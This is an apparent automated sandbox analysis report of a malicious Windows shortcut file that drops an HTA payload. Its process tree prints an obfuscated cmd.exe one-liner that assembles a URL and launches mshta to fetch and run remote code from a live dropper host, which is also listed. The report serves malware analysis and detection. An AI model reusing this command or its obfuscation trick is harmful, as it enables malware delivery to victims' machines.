Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:21

General

  • Target
    DOC-LJVPBI.lnk
  • Size 2KB
  • Sample260804-j9fqsavekc
  • SHA256 374cd48c73c2cc919a01adbc06d13622f48fa27bdc5976cbd2dae70202ca12d1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LJVPBI.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5676
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set fmJ=mgkst3o5&&set Gr=rcarz8g&&set mhm=atm&&set YKOg=oldkvhkziqold&&set lX=datuyucyjgplmnxodat&&set lBHJ=netbtjwitbnet&&set fdh=dbggnrjbsovxnqyidbg&&set yDfc=bakupuypjpxebbahpatbak&&set btyC=infqcgsinf&&set vwAk=g6omhn&&set bUie=isht9e4&&set rPz=9mrai&&set ArlW=logkflcezuhjsbovwcmalog&&set PzN=ht@tp@s@:/@/ma@[email protected]@t/@h/@e@s@tag@io@1@.@php?@r=39@14@69FB5@D82@DB&&start /b !vwAk:~3,1!!bUie:~1,3!!rPz:~3,1! !PzN:@=!&&set gtr=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5700

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads